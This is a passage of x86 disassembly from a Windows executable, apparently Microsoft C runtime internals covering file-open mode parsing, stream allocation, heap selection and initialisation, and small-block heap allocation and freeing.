loc_4188D9:				; CODE XREF: sub_4188A0+1Dj
		mov	ecx, 109h


loc_4188DE:				; CODE XREF: sub_4188A0+30j
		or	esi, 2


loc_4188E1:				; CODE XREF: sub_4188A0+37j
		push	1
		pop	edx


loc_4188E4:				; CODE XREF: sub_4188A0+8Bj
					; sub_4188A0+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_4189D3
		cmp	edx, ebx
		jz	loc_4189D3
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_418972
		jz	short loc_418962
		sub	eax, 2Bh
		jz	short loc_41894C
		sub	eax, 19h
		jz	short loc_418942
		sub	eax, 0Eh
		jz	short loc_41892D
		dec	eax
		jnz	loc_4189C4
		cmp	[ebp+var_4], ebx
		jnz	loc_4189C4
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_4188E4
; ---------------------------------------------------------------------------


loc_41892D:				; CODE XREF: sub_4188A0+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_4189C4
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_4188E4
; ---------------------------------------------------------------------------


loc_418942:				; CODE XREF: sub_4188A0+6Aj
		test	cl, 40h
		jnz	short loc_4189C4
		or	ecx, 40h
		jmp	short loc_4188E4
; ---------------------------------------------------------------------------


loc_41894C:				; CODE XREF: sub_4188A0+65j
		test	cl, 2
		jnz	short loc_4189C4
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_4188E4
; ---------------------------------------------------------------------------


loc_418962:				; CODE XREF: sub_4188A0+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_4189C4
		or	ecx, eax
		jmp	loc_4188E4
; ---------------------------------------------------------------------------


loc_418972:				; CODE XREF: sub_4188A0+5Ej
		sub	eax, 62h
		jz	short loc_4189BF
		dec	eax
		jz	short loc_4189A8
		sub	eax, 0Bh
		jz	short loc_418991
		sub	eax, 6
		jnz	short loc_4189C4
		test	ch, 0C0h
		jnz	short loc_4189C4
		or	ch, 40h
		jmp	loc_4188E4
; ---------------------------------------------------------------------------


loc_418991:				; CODE XREF: sub_4188A0+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_4189C4
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_4188E4
; ---------------------------------------------------------------------------


loc_4189A8:				; CODE XREF: sub_4188A0+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4189C4
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_4188E4
; ---------------------------------------------------------------------------


loc_4189BF:				; CODE XREF: sub_4188A0+D5j
		test	ch, 0C0h
		jz	short loc_4189CB


loc_4189C4:				; CODE XREF: sub_4188A0+72j
					; sub_4188A0+7Bj ...
		xor	edx, edx
		jmp	loc_4188E4
; ---------------------------------------------------------------------------


loc_4189CB:				; CODE XREF: sub_4188A0+122j
		or	ch, 80h
		jmp	loc_4188E4
; ---------------------------------------------------------------------------


loc_4189D3:				; CODE XREF: sub_4188A0+4Aj
					; sub_4188A0+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41DDF6
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_4189F1


loc_4189ED:				; CODE XREF: sub_4188A0+25j
		xor	eax, eax
		jmp	short loc_418A0B
; ---------------------------------------------------------------------------


loc_4189F1:				; CODE XREF: sub_4188A0+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_46BCC8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_418A0B:				; CODE XREF: sub_4188A0+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4188A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A10	proc near		; CODE XREF: sub_4159E8p
		mov	edx, dword_46CE00
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_418A81
		mov	ebx, dword_46BDF8
		mov	edi, ebx


loc_418A2C:				; CODE XREF: sub_418A10+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_418A47
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_418A42
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_418A2C
		jmp	short loc_418A81
; ---------------------------------------------------------------------------


loc_418A42:				; CODE XREF: sub_418A10+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_418A6B
; ---------------------------------------------------------------------------


loc_418A47:				; CODE XREF: sub_418A10+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_415BE9
		pop	ecx
		mov	ecx, dword_46BDF8
		mov	[edi+ecx], eax
		mov	eax, dword_46BDF8
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_418A81
		mov	esi, edi


loc_418A6B:				; CODE XREF: sub_418A10+35j
		cmp	esi, ebp
		jz	short loc_418A81
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_418A81:				; CODE XREF: sub_418A10+12j
					; sub_418A10+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_418A10	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A88	proc near		; CODE XREF: sub_415BFB+1Fp
					; sub_41737F+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_46BB68
		test	eax, eax
		jz	short loc_418AA0
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_418AA0
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418AA0:				; CODE XREF: sub_418A88+7j
					; sub_418A88+12j
		xor	eax, eax
		retn
sub_418A88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418AA3	proc near		; CODE XREF: sub_418AD0+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_4210C8	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_418ACE
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_418ACE
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_418ACE:				; CODE XREF: sub_418AA3+15j
					; sub_418AA3+1Cj
		pop	esi
		retn
sub_418AA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AD0	proc near		; CODE XREF: sub_418C18+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_415B90
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_42110C	; GetVersionExA
		test	eax, eax
		jz	short loc_418B13
		cmp	[ebp+var_88], 2
		jnz	short loc_418B13
		cmp	[ebp+var_94], 5
		jb	short loc_418B13
		push	1
		pop	eax
		jmp	loc_418C15
; ---------------------------------------------------------------------------


loc_418B13:				; CODE XREF: sub_418AD0+27j
					; sub_418AD0+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_421170	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_418C02
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_418B55


loc_418B42:				; CODE XREF: sub_418AD0+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_418B50
		cmp	al, 7Ah
		jg	short loc_418B50
		sub	al, 20h
		mov	[ecx], al


loc_418B50:				; CODE XREF: sub_418AD0+76j
					; sub_418AD0+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_418B42


loc_418B55:				; CODE XREF: sub_418AD0+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_416D70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418B77
		lea	eax, [ebp+var_122C]
		jmp	short loc_418BC0
; ---------------------------------------------------------------------------


loc_418B77:				; CODE XREF: sub_418AD0+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	dword_42107C	; GetModuleFileNameA
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_418BAB


loc_418B98:				; CODE XREF: sub_418AD0+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_418BA6
		cmp	al, 7Ah
		jg	short loc_418BA6
		sub	al, 20h
		mov	[ecx], al


loc_418BA6:				; CODE XREF: sub_418AD0+CCj
					; sub_418AD0+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_418B98


loc_418BAB:				; CODE XREF: sub_418AD0+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_4158E0
		pop	ecx
		pop	ecx


loc_418BC0:				; CODE XREF: sub_418AD0+A5j
		cmp	eax, ebx
		jz	short loc_418C02
		push	2Ch
		push	eax
		call	sub_416F20
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418C02
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_418BE7


loc_418BD9:				; CODE XREF: sub_418AD0+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_418BE2
		mov	[ecx], bl
		jmp	short loc_418BE3
; ---------------------------------------------------------------------------


loc_418BE2:				; CODE XREF: sub_418AD0+10Cj
		inc	ecx


loc_418BE3:				; CODE XREF: sub_418AD0+110j
		cmp	[ecx], bl
		jnz	short loc_418BD9


loc_418BE7:				; CODE XREF: sub_418AD0+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_416711
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_418C15
		cmp	eax, 3
		jz	short loc_418C15
		cmp	eax, 1
		jz	short loc_418C15


loc_418C02:				; CODE XREF: sub_418AD0+5Cj
					; sub_418AD0+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_418AA3
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_418C15:				; CODE XREF: sub_418AD0+3Ej
					; sub_418AD0+126j ...
		pop	ebx
		leave
		retn
sub_418AD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C18	proc near		; CODE XREF: .text:00417B72p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_421178	; HeapCreate
		test	eax, eax
		mov	dword_46D164, eax
		jz	short loc_418C6E
		call	sub_418AD0
		cmp	eax, 3
		mov	dword_46D168, eax
		jnz	short loc_418C54
		push	3F8h
		call	sub_418C75
		pop	ecx
		jmp	short loc_418C5E
; ---------------------------------------------------------------------------


loc_418C54:				; CODE XREF: sub_418C18+2Dj
		cmp	eax, 2
		jnz	short loc_418C71
		call	sub_4197BC


loc_418C5E:				; CODE XREF: sub_418C18+3Aj
		test	eax, eax
		jnz	short loc_418C71
		push	dword_46D164
		call	dword_421174	; HeapDestroy


loc_418C6E:				; CODE XREF: sub_418C18+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418C71:				; CODE XREF: sub_418C18+3Fj
					; sub_418C18+48j
		push	1
		pop	eax
		retn
sub_418C18	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C75	proc near		; CODE XREF: sub_418C18+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_46D164
		call	dword_42114C	; RtlAllocateHeap
		test	eax, eax
		mov	dword_46D15C, eax
		jnz	short loc_418C92
		retn
; ---------------------------------------------------------------------------


loc_418C92:				; CODE XREF: sub_418C75+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_46D154, 0
		and	dword_46D158, 0
		push	1
		mov	dword_46D150, eax
		mov	dword_46D160, ecx
		mov	dword_46D148, 10h
		pop	eax
		retn
sub_418C75	endp


; =============== S U B	R O U T	I N E =======================================



sub_418CBD	proc near		; CODE XREF: sub_415C9B+17p
					; sub_41737F+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_46D158
		lea	ecx, [eax+eax*4]
		mov	eax, dword_46D15C
		lea	ecx, [eax+ecx*4]


loc_418CCD:				; CODE XREF: sub_418CBD+26j
		cmp	eax, ecx
		jnb	short loc_418CE5
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_418CE7
		add	eax, 14h
		jmp	short loc_418CCD
; ---------------------------------------------------------------------------


loc_418CE5:				; CODE XREF: sub_418CBD+12j
		xor	eax, eax

locret_418CE7:				; CODE XREF: sub_418CBD+21j
		retn
sub_418CBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418CE8	proc near		; CODE XREF: sub_415C9B+23p
					; sub_41737F+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41900C
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_418DBE
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_418D4C
		push	3Fh
		pop	edx


loc_418D4C:				; CODE XREF: sub_418CE8+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_418DA0
		cmp	edx, 20h
		jnb	short loc_418D77
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_418D98
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_418D98
; ---------------------------------------------------------------------------


loc_418D77:				; CODE XREF: sub_418CE8+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_418D98
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_418D98:				; CODE XREF: sub_418CE8+86j
					; sub_418CE8+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_418DA3
; ---------------------------------------------------------------------------


loc_418DA0:				; CODE XREF: sub_418CE8+6Aj
		mov	ecx, [ebp+var_4]


loc_418DA3:				; CODE XREF: sub_418CE8+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_418DBE:				; CODE XREF: sub_418CE8+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_418DCC
		push	3Fh
		pop	edx


loc_418DCC:				; CODE XREF: sub_418CE8+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_418E6F
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_418DF1
		mov	ebx, esi


loc_418DF1:				; CODE XREF: sub_418CE8+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_418E03
		mov	edx, esi


loc_418E03:				; CODE XREF: sub_418CE8+117j
		cmp	ebx, edx
		jz	short loc_418E6A
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_418E52
		cmp	ebx, 20h
		jnb	short loc_418E33
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_418E52
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_418E52
; ---------------------------------------------------------------------------


loc_418E33:				; CODE XREF: sub_418CE8+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_418E52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_418E52:				; CODE XREF: sub_418CE8+128j
					; sub_418CE8+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_418E6A:				; CODE XREF: sub_418CE8+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_418E72
; ---------------------------------------------------------------------------


loc_418E6F:				; CODE XREF: sub_418CE8+EDj
		mov	ebx, [ebp+arg_0]


loc_418E72:				; CODE XREF: sub_418CE8+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_418E80
		cmp	ebx, edx
		jz	loc_418F01


loc_418E80:				; CODE XREF: sub_418CE8+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_418F01
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_418ED8
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418EC7
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_418EC7:				; CODE XREF: sub_418CE8+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_418F01
; ---------------------------------------------------------------------------


loc_418ED8:				; CODE XREF: sub_418CE8+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418EEE
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_418EEE:				; CODE XREF: sub_418CE8+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_418F01:				; CODE XREF: sub_418CE8+192j
					; sub_418CE8+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41900C
		mov	eax, dword_46D154
		test	eax, eax
		jz	loc_418FFE
		mov	ecx, dword_46D14C
		mov	esi, dword_42117C
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_46D14C
		mov	eax, dword_46D154
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_46D154
		mov	ecx, dword_46D14C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_46D154
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_46D154
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_418F8F
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_46D154


loc_418F8F:				; CODE XREF: sub_418CE8+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_418FFE
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_46D154
		push	dword ptr [eax+10h]
		push	0
		push	dword_46D164
		call	dword_421150	; RtlFreeHeap
		mov	eax, dword_46D158
		mov	edx, dword_46D15C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_46D154
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_416320
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_46D158
		cmp	eax, dword_46D154
		jbe	short loc_418FF4
		sub	[ebp+arg_0], 14h


loc_418FF4:				; CODE XREF: sub_418CE8+306j
		mov	eax, dword_46D15C
		mov	dword_46D150, eax


loc_418FFE:				; CODE XREF: sub_418CE8+234j
					; sub_418CE8+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_46D14C, edi
		mov	dword_46D154, eax


loc_41900C:				; CODE XREF: sub_418CE8+38j
					; sub_418CE8+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418CE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419011	proc near		; CODE XREF: sub_415C27+18p
					; sub_41737F+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_46D158
		mov	edx, dword_46D15C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_419051
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_419061
; ---------------------------------------------------------------------------


loc_419051:				; CODE XREF: sub_419011+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_419061:				; CODE XREF: sub_419011+3Ej
		mov	eax, dword_46D150
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_419088


loc_41906F:				; CODE XREF: sub_419011+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_419088
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41906F


loc_419088:				; CODE XREF: sub_419011+5Cj
					; sub_419011+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_419106
		mov	ebx, edx


loc_41908F:				; CODE XREF: sub_419011+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_4190AB
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4190A9
		add	ebx, 14h
		jmp	short loc_41908F
; ---------------------------------------------------------------------------


loc_4190A9:				; CODE XREF: sub_419011+91j
		cmp	ebx, eax


loc_4190AB:				; CODE XREF: sub_419011+83j
		jnz	short loc_419106


loc_4190AD:				; CODE XREF: sub_419011+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_4190C3
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4190C0
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_4190AD
; ---------------------------------------------------------------------------


loc_4190C0:				; CODE XREF: sub_419011+A5j
		cmp	ebx, [ebp+var_4]


loc_4190C3:				; CODE XREF: sub_419011+9Fj
		jnz	short loc_4190EB
		mov	ebx, edx


loc_4190C7:				; CODE XREF: sub_419011+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_4190DB
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4190D9
		add	ebx, 14h
		jmp	short loc_4190C7
; ---------------------------------------------------------------------------


loc_4190D9:				; CODE XREF: sub_419011+C1j
		cmp	ebx, eax


loc_4190DB:				; CODE XREF: sub_419011+BBj
		jnz	short loc_4190EB
		call	sub_41931A
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_4190FF


loc_4190EB:				; CODE XREF: sub_419011:loc_4190C3j
					; sub_419011:loc_4190DBj
		push	ebx
		call	sub_4193CB
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_419106


loc_4190FF:				; CODE XREF: sub_419011+D8j
		xor	eax, eax
		jmp	loc_419315
; ---------------------------------------------------------------------------


loc_419106:				; CODE XREF: sub_419011+7Aj
					; sub_419011:loc_4190ABj ...
		mov	dword_46D150, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41912D
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_419164


loc_41912D:				; CODE XREF: sub_419011+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_419161


loc_41914A:				; CODE XREF: sub_419011+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41914A


loc_419161:				; CODE XREF: sub_419011+137j
		mov	edx, [ebp+var_4]


loc_419164:				; CODE XREF: sub_419011+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41918D
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41918D:				; CODE XREF: sub_419011+16Dj
					; sub_419011+183j
		test	ecx, ecx
		jl	short loc_419196
		shl	ecx, 1
		inc	edi
		jmp	short loc_41918D
; ---------------------------------------------------------------------------


loc_419196:				; CODE XREF: sub_419011+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_4191B3
		push	3Fh
		pop	esi


loc_4191B3:				; CODE XREF: sub_419011+19Dj
		cmp	esi, edi
		jz	loc_4192C8
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419224
		cmp	edi, 20h
		jge	short loc_4191F3
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_419221
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_419224
; ---------------------------------------------------------------------------


loc_4191F3:				; CODE XREF: sub_419011+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_419221
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
